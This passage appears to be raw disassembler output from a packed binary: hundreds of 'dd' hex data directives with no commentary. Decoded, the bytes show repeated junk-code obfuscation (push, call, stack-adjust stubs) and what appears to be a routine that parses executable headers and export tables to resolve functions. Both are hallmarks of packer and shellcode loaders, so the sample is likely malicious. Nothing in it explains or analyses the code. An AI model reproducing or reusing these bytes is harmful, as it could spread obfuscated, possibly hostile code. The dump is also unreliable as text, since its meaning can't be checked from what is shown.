		dd 0DBD4E542h, 60507DA2h, 4ABA5250h, 0F2A7202h,	5AEEB631h
		dd 0D182B958h, 90610D82h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0FEC35545h, 0B2E94E2Fh, 1525EACh, 0E5BD8914h
		dd 8D060701h, 0A4D0585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0DC22B134h, 5E9h, 0B52BD100h
		dd 6660F1B1h, 66C0F4BFh, 61B9C8BEh, 6AD0FFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 6D41A2C3h
		dd 90559E3h, 71D618Dh, 0F850F06h, 0E9000000h, 0Ah, 28B97940h
		dd 0B4CFA02h, 440331EAh, 8BF82824h, 6E91840h, 0F8000000h
		dd 0D2376DADh, 6A406Eh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 6755DCC3h, 43A5E3D9h, 7B118589h
		dd 6A060Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0F0AD0DC3h, 8E8A7314h, 89583D75h,	70B858Dh
		dd 78708B06h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 15h,	26C35747h, 0C683FCF5h, 8996FC1Ch, 712A195h, 247C8106h
		dd 24h,	0FD870F10h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0B444C355h,	0B9605095h
		dd 7C3D76E7h, 896191B7h, 820F2404h, 0Ch, 6880Fh, 0B5290000h
		dd 6070171h, 2824448Bh,	11E9h, 9BE62A00h, 126ADB9Ch, 0DB581D2Dh
		dd 5E3C5D26h, 8B605322h, 71E019Dh, 0DE906h, 70970000h
		dd 1624960Ch, 5762FD1Eh, 618A5C75h, 0E9525050h,	11h, 819151A8h
		dd 0F69BB0EBh, 49C411CCh, 0D5ECA69Ah, 0E9310FF8h, 0Bh
		dd 2BC48BF7h, 0C1B091FEh, 5A2D423Ch, 24048958h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 6CC35040h, 0E298AD65h
		dd 32619529h, 80600607h, 0AB4C1C5h, 5858D61h, 89060A4Dh
		dd 731558Dh, 0FD0FF06h,	0D83h, 8E900h, 70080000h, 44E0CCB7h
		dd 8B60773Ch, 70E0DB5h,	49B58906h, 6106070Ch, 0AE996h
		dd 20310000h, 337FC039h, 969A592Eh, 24247403h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 3EC35343h, 0F4CF924Fh
		dd 982A6629h, 0BD8DFC29h, 6071335h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 8C35545h, 0C3D722BAh, 12E93Eh
		dd 4FFD0000h, 0AA89FDBh, 0B9F11206h, 0BBCCC0F0h, 5C94B12Eh
		dd 31558D29h, 6AAD0607h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0F30CC352h,	8B60BC50h
		dd 7322585h, 3D850906h,	6106072Ch, 2CB18531h, 7C810607h
		dd 2424h, 870F1000h, 87h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0CEC35343h, 0EBA5CC5h, 2D6DF3F7h, 0BE950h
		dd 7A4F0000h, 0A17A3E58h, 0C9BBCD72h, 24048950h, 24448BF8h
		dd 0F9BD0928h, 50060732h, 11E95250h, 13000000h,	0A8871A79h
		dd 9D7A02h, 61EBE039h, 8C4FD8C8h, 5250310Fh, 7E9h, 0EF773100h
		dd 0B5D9C197h, 6160310Fh, 585A585Ah, 0F9240489h, 4D05858Dh
		dd 0BD29060Ah, 6070801h, 3F8D0FFh, 6A242444h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 835DC352h, 2AB22767h, 38C0F60h, 66000000h, 8589D08Bh
		dd 60713ADh
		dd 14E961h, 0D4750000h,	7826FCABh, 0C0C2CB66h, 98E336EEh
		dd 64DB6648h, 89ABE25Dh, 709E5B5h, 0FA8106h, 0F000100h
		dd 85082h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 46ADB3DEh, 23F5555Ah, 0CE9h, 0F6E2AD00h
		dd 2B50245h, 0A58A98C5h, 51BD8D04h, 6A060716h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0D003C350h, 8890Fh, 8B600000h, 70829B5h, 0E9AD6106h
		dd 14h,	2832BB00h, 5BE710B5h, 1694106h,	2908D241h, 0A0E3BE32h
		dd 24247C81h, 10000000h, 10B870Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0F9C724C3h
		dd 10E9h, 0E1362C00h, 970A7BFFh, 1D071372h, 0AB70E7Ah
		dd 8E0F508Bh, 0Eh, 61605250h, 5250310Fh, 585A310Fh, 489585Ah
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 64DFD878h, 0C0EFEA21h, 68C0F15h,	29000000h
		dd 71729B5h, 24448B06h,	52006A28h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 640AD6E2h, 18B0Fh, 60F80000h
		dd 3072F2BBh, 0FD858B40h, 6106070Dh, 9AB96050h,	66532D3Fh
		dd 8961D78Bh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0ADC9AEC3h, 4D05858Dh, 0BE9060Ah
		dd 1F000000h, 0D9F26Ch,	9341D025h, 0D0FFE452h, 8E960h
		dd 301C0000h, 9F6096B0h, 31B8FCC7h, 615901E0h, 244403FCh
		dd 9D296024h, 6072021h,	1E0D9589h, 50610607h, 0E9525060h
		dd 14h,	3E53B45Ah, 812417C3h, 0B4B93D00h, 0DBC3E248h, 0A39D2FE3h
		dd 585A310Fh, 61F08B66h, 0F240489h, 681h, 15852900h, 0AB060708h
		dd 1850FFCh, 0F5000000h, 14DDBD8Dh, 870F0607h, 1, 6AADF8F9h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 7EBAC352h, 0C701F7DCh, 0E927477Eh, 11h, 7369D3AEh
		dd 41E9EF49h, 5200B06Ah, 0F9891A43h, 247C8131h,	28h, 17870F10h
		dd 6A000001h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 280DC355h, 38723A16h, 2BB5B529h
		dd 0E9F90607h, 9, 6393804Eh, 0F057B7B1h, 830F507Eh, 17h
		dd 12E9h, 39161900h, 32CB76AEh,	920A198h, 461CB915h, 89AB1FEBh
		dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 55DF4FC3h, 60CB52D8h, 8B61FEB7h, 6A2C2444h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 9B4C351h,	859D89B1h, 0F9060725h, 128C0F50h
		dd 50000000h, 8B0F52h, 0F000000h, 8D0F31h, 5A000000h, 24048958h
		dd 5858DFCh, 6A060A4Dh,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0F757C356h,	0CC4F1812h
		dd 0FF422B98h, 50006AD0h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 969EC3F7h, 898FC376h
		dd 70E2995h, 4403F506h,	6A2824h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0A253B8C3h, 7C883645h
		dd 68B0Fh, 8D010000h, 6070E31h,	57006AABh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0AF087828h
		dd 168E0Fh, 0E8600000h,	9, 0D6196E3h, 99C157DEh, 81665ADCh
		dd 6167C7F1h, 0FD06B960h, 9E834D4h, 0CF000000h,	0A8A756E6h
		dd 0A9FAD22h, 1F4D858Bh, 615F0607h, 118DFF5Eh, 83060A7Bh
		dd 0A7B11BDh, 0A750006h, 0B58DC033h, 60A8AC5h, 0AD56E6FFh
		dd 28247C81h, 10000000h, 8B500E77h, 502C2444h, 4D05858Dh
		dd 0D0FF060Ah, 28244403h, 8ADF8B97h, 0A7B0D85h,	74C08406h
		dd 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h
		dd 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah,	66EBD166h
		dd 973D8D1h, 50413566h,	49F38166h, 75CEFE54h, 33C833EBh
		dd 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah
		dd 0C6835E0Fh, 3D85FF04h, 0E906072Dh, 0FFFFFF5Dh, 57006A5Eh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0D42C7131h, 27F09600h, 0E1BD89A5h, 60060711h, 2B19D33h
		dd 8B660607h, 858961F8h, 60710ADh, 2D3D858Bh, 6A0607h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0D5DC64C3h, 0E81A00A8h, 0B8E0Fh, 66600000h, 5F07C681h
		dd 0F954B866h, 1850F61h, 0FC000000h, 4C58D89h, 0E0D10607h
		dd 58D8960h, 60060713h,	295BD33h, 0BE90607h, 0C3000000h
		dd 7846EB5Fh, 506E1006h, 616168A1h, 0A8E0Fh, 89600000h
		dd 704C995h, 61616006h,	14DD8503h, 6A0607h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 49FE93C3h
		dd 0A5F4AB8Ch, 0F60F54Eh, 0F08BCFBFh, 0BE61h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 7E947C3h, 3C000000h,	0E372C755h, 6A96AB34h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0D21AC357h, 0BD8B6073h, 60716C9h, 1958589h, 66610607h
		dd 598509ADh, 0C1060709h, 6A02E0h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 167021C3h, 958977D2h
		dd 6071CB5h, 13358503h,	6A0607h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 539C93C3h, 0E9724526h
		dd 9619BDEEh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 14h,	1BC35747h, 7E9h, 2E8F7B00h, 0A997073Dh,	7C81F8ADh
		dd 2424h, 870F1000h, 0FCh, 0E9B50B60h, 80060712h, 5061E1D5h
		dd 0FE9h, 0BA9B7400h, 0C02BA6F3h, 6B6E0D71h, 58164671h
		dd 6A240489h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 5DDEC350h, 2F899501h, 448B0607h
		dd 800F2824h, 0Eh, 0B1858B60h, 0F060716h, 87h, 50906100h
		dd 60525052h, 60310F61h, 0F585A61h, 7E931h, 0BB790000h
		dd 6C8967C5h, 50585AB4h, 21860Fh, 0E9600000h, 14h, 4B155321h
		dd 0E05A83BAh, 5C6137C2h, 8241D136h, 0CE6814A7h, 840Fh
		dd 90610000h, 1DC59501h, 858D0607h, 60A4D05h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 39C35141h, 29F84B43h
		dd 7149D95h, 4DBD0106h,	0FF06072Ch, 0B360FCD0h,	12E862h
		dd 0C53E0000h, 13710ECCh, 93A62B0Ch, 67D609h, 0F92BE5A3h
		dd 615B6160h, 24244403h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 17h, 1DC35141h, 0F94C68Eh,	68Fh, 19D0100h
		dd 89060701h, 291C2444h, 70B8985h, 585C606h, 6072Ch, 7CE485C7h
		dd 60Ah, 85C70000h, 60A7B15h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0E4C35343h
		dd 0BFCFE7Ch, 0CE943BAh, 2F000000h, 0B02ACE51h,	642ABA40h
		dd 0FA593C2h, 18Fh, 6AFC00h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 43DE21C3h, 0A6D7AF86h
		db 87h
byte_530055	db 0A4h, 89h, 85h	; DATA XREF: ___:off_42CC84o
					; ___:off_42CC9Co
		dd 6070229h, 50006A61h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 95314D83h, 6070CD5h, 6A0008C2h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 79FDC352h, 35858BF9h, 6A060713h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 2F0AC350h
		dd 0C24AF45Ah, 6A4AB189h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 5F58C351h, 0C0553716h
		dd 0E56D1BFBh, 11E9h, 3D082600h, 8FB3E071h, 0FC498E56h
		dd 37BC435Ch, 860FE32Bh, 6, 5E58529h, 8B600607h, 725659Dh
		dd 0D26B6106h, 52006A04h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 6FC2E8FFh, 1D820F3Bh
		dd 60000000h, 1B198D8Bh, 0FE80607h, 0AE000000h,	29AF5801h
		dd 0DCC28FDFh, 0F281C1Bh, 61580D44h, 6AC203h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 77474EC3h
		dd 0DA5C65B5h, 11E952h,	14820000h, 68258845h, 4258BED9h
		dd 0E5063731h, 0F555F710h, 51006A96h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0ADC2E5E8h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0C35747h
		dd 0D29EA75Ch, 247C81F8h, 24h, 0EE870F10h, 60000000h, 9E9h
		dd 2DAA3400h, 15F935E5h, 8589AFE9h, 60730CDh, 0FE99061h
		dd 0F2000000h, 0B7C4C7F7h, 26971EF0h, 0DF33DE11h, 5050B8A9h
		dd 0F525052h, 80h, 0F310F00h, 88h, 0F585A00h, 6870F31h
		dd 0F000000h, 86h, 90585A00h, 24448BF9h, 50006A28h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
		dd 0AED16D4Fh, 61D49B9Eh, 50506DE3h, 60525052h,	50310F61h
		dd 5A310F52h, 0F585A58h, 0CB8B6031h, 89585A61h,	830F2404h
		dd 1, 5858DF8h,	6A060A4Dh, 3E85300h, 20000000h,	895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 29EBC353h, 7327185h
		dd 0C1958906h, 0FF06070Fh, 52006AD0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0DBDF157Fh
		dd 0FCC6E9CFh, 6AFFFFh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 8D184CC3h, 0A910885h, 0EE906h, 0E4F20000h
		dd 6D5272C4h, 0DF537B6h, 0F55B4CAAh, 30358D89h,	50500607h
		dd 52506052h, 585A310Fh, 7DD276BBh, 310F615Eh, 830F5250h
		dd 0
		dd 850F310Fh, 0
		dd 585A585Ah, 6A240489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0CA8EC353h,	35FF64FCh
		dd 0
		dd 32D5B529h, 48B0607h,	57006A24h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 28C46ADDh, 310D9D31h
		dd 0E9F50607h, 7, 39009D7Ah, 8961EBE0h,	70AF185h, 64FCFC06h
		dd 2589h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 8A31DFC3h, 0F0437034h, 0BF0F60EAh
		dd 0F88B66DBh, 4D858D61h, 6A060A8Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0F9B2C352h
		dd 0C870Fh, 7E90000h, 1000000h,	652C10B4h, 6089BF6Dh, 51006A01h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 329B6C16h, 0E9762048h, 207h,	0CE9h, 33005700h, 0B1C53559h
		dd 0B03E0E1h, 0E8DB8B53h, 0
		dd 46ED815Dh, 0BC060A8Fh, 12FF9Ch, 126DBD83h, 74000607h
		dd 0DD858B18h, 0C6060706h, 858B0000h, 6070FE1h,	0FF0000C6h
		dd 707D195h, 0B5FF6006h, 60A7719h, 771D858Dh, 8D50060Ah
		dd 0A791585h, 95FF5006h, 6072B69h, 610CC483h, 57006AFCh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0E97AB626h, 8DB10326h, 0A7915B5h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0DB7FD818h
		dd 0BD8DA52Fh, 6071771h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 17h, 99C35141h, 8098261Ch,	840F003Eh, 8Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 23C35141h
		dd 0EC6EB4E7h, 8E9h, 0E1C3B000h, 0EEA0EEC2h, 0DE9D6h, 78110000h
		dd 0F645622Bh, 0E7F49D46h, 0A403DA8Fh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 26C35747h, 6925EB94h, 0E9F8078Dh
		dd 0FFFFFF8Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	5FC35747h, 90E8BD77h, 0FF20C723h, 0B860h, 0AAF50000h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0B1C35040h
		dd 6B4E41E5h, 60E19B91h, 0B58B5857h, 60704B5h, 7B861h
		dd 89600000h, 7150995h,	6890F06h, 0F000000h, 8Bh, 85C76100h
		dd 6070B8Dh, 1,	2CF98D89h, 8D8D0607h, 6074E1Ch,	72DBD09h
		dd 0E1FF0607h, 2E59BD89h, 5C8B0607h, 0E8550C24h, 0
		dd 12ED815Dh, 8B060A91h, 0B883h, 19858900h, 8D060A77h
		dd 0A8F3F85h, 0B8838906h, 5D000000h, 0F8C3C033h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 28C35242h, 163AF23Fh
		dd 0DE960F8h, 68000000h, 0F3379462h, 2BF1542Dh,	0B08BF315h
		dd 93A4858Dh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0ECE5CAC3h, 51870922h, 0AE9D6h
		dd 37050000h, 0FCE9707Ah, 49E01FCh, 0F8B0Fh, 0AE90000h
		dd 0CD000000h, 5C390474h, 0BBAE246Eh, 60605090h, 12E9h
		dd 7327DE00h, 542CF14Fh, 0E4277936h, 0E09C52DBh, 0E9BC9634h
		dd 10h,	42B6BE8Fh, 8292E8EFh, 79D8721Ah, 0EACB4E61h, 0D38B6661h
		dd 24048961h, 25E99D29h, 0FF640607h, 35h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 0BD01E505h, 6071BD1h, 258964h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0D6AFC353h, 30E59D89h, 858D0607h, 60A9426h, 1830Fh
		dd 89F90000h, 0BD890160h, 6072201h, 10E9h, 2DE1D400h, 0B67F1D2Ah
		dd 0E7DC0E11h, 7FFC3227h, 585C61Fh, 4F06072Ch, 26ADB509h
		dd 0BD890607h, 6071F15h, 2C0AB168h, 5052509Ch, 8B0F52h
		dd 0F000000h, 870F31h, 5A000000h, 0F310F58h, 178Bh, 12E900h
		dd 58760000h, 0EFB658Ah, 2933166h, 39EEED03h, 0D28F6F96h
		dd 3481585Ah, 0E47E9B24h, 51006A62h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0FFCF8ABh
		dd 68Bh, 9DBD2900h, 0FF06072Ch,	731ADB5h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 3159EFB9h, 72EA595h,	1F858D06h, 6A060A7Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 53AFC355h, 0E810FCBh, 60000000h, 1BB18533h, 0E8810607h
		dd 4FF47777h, 6AD0FF61h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 54CEC352h, 6C27F118h
		dd 5A33EB9Ah, 0A7E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0F001F9Ah, 18Bh, 5C8BFC00h
		dd 0E8550C24h, 0
		dd 0AEED815Dh, 8B060A93h, 71B2D85h, 0AD858906h,	8B060731h
		dd 71B0185h, 0B1858906h, 8B060713h, 71E9585h, 69858906h
		dd 0C6060727h, 72C0585h, 85C70006h, 60A7CE4h, 0
		dd 9426858Dh, 8389060Ah, 0B8h, 0C3C0335Dh, 25498531h, 5E90607h
		dd 4F000000h, 7265EB54h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0E9C35545h, 12FF74BCh, 1F86000h, 7016185h
		dd 8F646106h, 5, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 8314ECB7h, 0B58904C4h
		dd 6072791h, 8E861h, 0B3DB0000h, 0ACB00618h, 816680D4h
		dd 5FCED0E2h, 9E9h, 6F58C100h, 5142B8D1h, 0C7818E8Bh, 64F7h
		dd 9EE8166h, 1911B938h,	0AE90000h, 8F000000h, 5F70E0B8h
		dd 92707DFEh, 8937FFFAh, 7140D85h, 852B5B06h, 6072151h
		dd 0F8E7C381h, 81662FC5h, 81279AF2h, 0FD35DF3h,	91B58B75h
		dd 81060727h, 734373C3h, 0FE92Eh, 9E260000h, 683F5E83h
		dd 73E9A133h, 0C58AB8C9h, 0AE85350h, 0B2000000h, 98BBF630h
		dd 249BCEB0h, 5D8D8985h, 5E060725h, 8B66078Fh, 1EF83D3h
		dd 3890Fh, 0E4800000h, 4F4F4FFFh, 1E981h, 850F0000h, 0FFFFFF89h
		dd 0F78B6651h, 83E958h,	51530000h, 8B575652h, 661C245Ch
		dd 5A4D3B81h, 68850Fh, 0B70F0000h, 0D8033C43h, 503B8166h
		dd 57850F45h, 8B000000h, 5C03785Bh, 738B1C24h, 24740324h
		dd 7B8B561Ch, 1C738B20h, 20247C03h, 20247403h, 0FFC983FCh
		dd 245C8B41h, 3178B1Ch,	83202454h, 28A04C7h, 874C084h
		dd 0E875033Ah, 0F2EB4243h, 0E075033Ah, 0FE1D15Fh, 8B0F04B7h
		dd 44038604h, 5E5F1C24h, 0C25B595Ah, 0C0330008h, 0FFFFF1E9h
		dd 0E8CA8BFFh, 12h, 9998BA1Eh, 4C1E57B5h, 8E7FE56Fh, 797AA610h
		dd 47BA22D3h, 5B5C8CAFh, 81D78B66h, 5A76C3h, 0D8B0F00h
		dd 60000000h, 1106EB81h, 88BB439Fh, 61382950h, 0BEh, 0C128B800h
		dd 34FF1DBEh, 8D0F1Eh, 59000000h, 0C181C28Bh, 2FF1DDD8h
		dd 81F9BF0Fh, 30CA0BF1h, 0D68B6629h, 0ACD6E981h, 9E95AEFh
		dd 69000000h, 8893F72Eh, 666597B3h, 0F330C89h, 6E9FFBFh
		dd 27000000h, 3B5EA79Ch, 0FEEE8133h, 0E82BE7AFh, 9, 9A2FCA9Dh
		dd 21E1800Ch, 58D08A7Dh, 0AFFAC681h, 8B662BE7h,	38FE81D1h
		dd 0FFFFFA6h, 0FFFF9185h, 0F55760FFh, 0FAE96158h, 12000000h
		dd 977FE18Fh, 838A055Ch, 1D76A188h, 0DD7A0E0Ah,	3733538Fh
		dd 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh
		dd 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh,	7F2D773Dh
		dd 7DD77DD5h, 6D171E57h, 602075DFh, 20206020h, 2060E0E0h
		dd 0F77B68ACh, 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h
		dd 60206020h, 20206020h, 2060E0E0h, 0A335375h, 557D2F0Dh
		dd 60206020h, 0A7286020h, 50F0362Bh, 0B6F360C9h, 0F796A1EFh
		dd 0E3A7B4E0h, 0F47192B8h, 6DB9E9B3h, 602060F7h, 60206020h
		dd 6DF72020h, 73351ADFh, 3D577DD7h, 0D55FEDF7h,	37335375h
		dd 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh
		dd 3D577DD7h, 0D55FEDF7h, 37335375h, 357D2F6Dh,	0E0A1Eh
		dd 0D25D3407h, 1E59A0A3h, 5 dup(0)
		dd 0BFAE900h, 0DA680000h, 0E9060A99h, 0FFFCE3FEh, 0A9ADA68h
		dd 0E3F4E906h, 8268FFFCh, 0E9060A9Bh, 0FFFCE3EAh, 0A9C2A68h
		dd 0E3E0E906h, 0B968FFFCh, 0E9060A9Ch, 0FFFCE3D6h, 0A9D7268h
		dd 0E3CCE906h, 0DF68FFFCh, 0E9060A9Eh, 0FFFCE3C2h, 0A9FC768h
		dd 0E3B8E906h, 8168FFFCh, 0E9060AA0h, 0FFFCE3AEh, 0AA11C68h
		dd 0E3A4E906h, 0E268FFFCh, 0E9060AA1h, 0FFFCE39Ah, 3C1A41D6h
		dd 0D7B5A66Eh, 76540709h, 13F16AA8h, 0AD8BD045h, 987D5A12h
		dd 0FF17E5C3h, 63B07E5Ch, 0C54C1AF8h, 2E6B896h,	0D202997Bh
		dd 8C441E84h, 2AB8D14h,	0ED3084D2h, 0D04A50Ah, 6BAE9017h
		dd 73337EC7h, 5E0DBC9Fh, 967F3D3Bh, 0C57A2C5h, 0B20FEDFAh
		dd 0ACEB160h, 0CD2C4F0Ch, 0AD64BE05h, 60AC8AEh,	0AD343255h
		dd 7EC79CCBh, 785E0D50h, 0C79D0FF1h, 6E51947Eh,	33EB6EF8h
		dd 0B7DBC64Dh, 5DA078BFh, 401BF63Ah, 795BE25Ah,	0FE78C080h
		dd 0D988D33Eh, 5FB280F6h, 0F5CCD9FCh, 0B078C07Fh, 0A07D3A8h
		dd 6CA57351h, 8988CCEFh, 0E82EECD2h, 16D59073h,	0F5B3A90Eh
		dd 51183B20h, 0F467AA6Eh, 0C3BE490Eh, 0DEDA863h, 462932E1h
		dd 645E27D0h, 0F92DE48Fh, 54000004h, 7CCA0D04h,	7D7AA5EDh
		dd 0C5092CDBh, 0A9310F4Ch, 4E3427EBh, 0C7F0E5C7h, 44276A7Eh
		dd 9F855DC4h, 0C1014518h, 6487CA78h, 0F06BA866h, 0E1AA800Dh
		dd 8A3878C0h, 3F770E35h, 4F14E48Fh, 3B000000h, 4BD2D148h
		dd 7EC76B69h, 0AEF6CA7h, 0BA3218C7h, 6B6E8EF5h,	0B9589A90h
		dd 8310F3A2h, 78BFC5ACh, 0C5C3E629h, 25510A07h,	0FB886BF0h
		dd 78C06525h, 5A5217B3h, 0BE579B09h, 7A41D1B4h,	6EED28E6h
		dd 2A1844Bh, 0E4908283h, 0DC08h, 0D042F00h, 2EE72B4Eh
		dd 8C89472Dh, 2E5ACCFh,	4D0E0347h, 8668EF67h, 0A7EC76Bh
		dd 0C76BA183h, 0FEE3267Eh, 0D91DD8BBh, 0AE452338h, 7EC76EE7h
		dd 0EF6CA563h, 0EC9480Ch, 852DE97Ch, 5D3BEA02h,	0B6D9828Fh
		dd 957BA3B6h, 3D203BD7h, 0F4538BFh, 0C70A78C0h,	62E961E9h
		dd 78BFFF80h, 5FDFC205h, 0ED6EA7FAh, 0C493583Eh, 28A09DF2h
		dd 2CA42205h, 0F34B2DB4h, 8DD078BFh, 9DE01DAAh,	0DA1D72B5h
		dd 38B77CF4h, 644EB9DDh, 712EB093h, 7524C5C3h, 1447CE92h
		dd 0AEAD6836h, 0B038EE77h, 0B6B21317h, 8C3h, 442239DEh
		dd 0DFBD9E76h, 7E5CFF11h, 1BF962B0h, 0B593C84Dh, 9085521Ah
		dd 0F71FEDCBh, 5BB88664h, 0BD542200h, 0AEEC09Eh, 0D204A183h
		dd 0AD4C2684h, 6C4A1104h, 0AE8739Eh, 868C4A9Bh,	8EBB2D5h
		dd 63499188h, 0BF9B05DCh, 53C38178h, 65A82508h,	9E80077Fh
		dd 0DC78C03Bh, 38FF2239h, 722D1053h, 0C03B8F65h, 9811D78h
		dd 0C03BA082h, 0FFE22578h, 92F3086Fh, 0BCE48FE1h, 2EDBBD44h
		dd 0A06078C0h, 1C8EB70h, 0AE2E6F52h, 55000000h,	694BD24Ah
		dd 0EE7EC76Bh, 0D04C8ABh, 2EE72B4Eh, 36FD0A2Dh,	6C7EC76Fh
		dd 0AD8B6A5h, 0B06E5407h, 0D9097760h, 1AA2CFEAh, 9E81486Bh
		dd 0A87EE3E3h, 0B4483BC2h, 0CA0D78BFh, 6DF46CE4h, 78BFA48Bh
		dd 0F6D8CD10h, 7B78BFA3h, 55DF5538h, 0A93016CCh, 72B54975h
		dd 199177BAh, 0B5FAB092h, 0FF23572h, 1942D391h,	0B3A86D3Bh
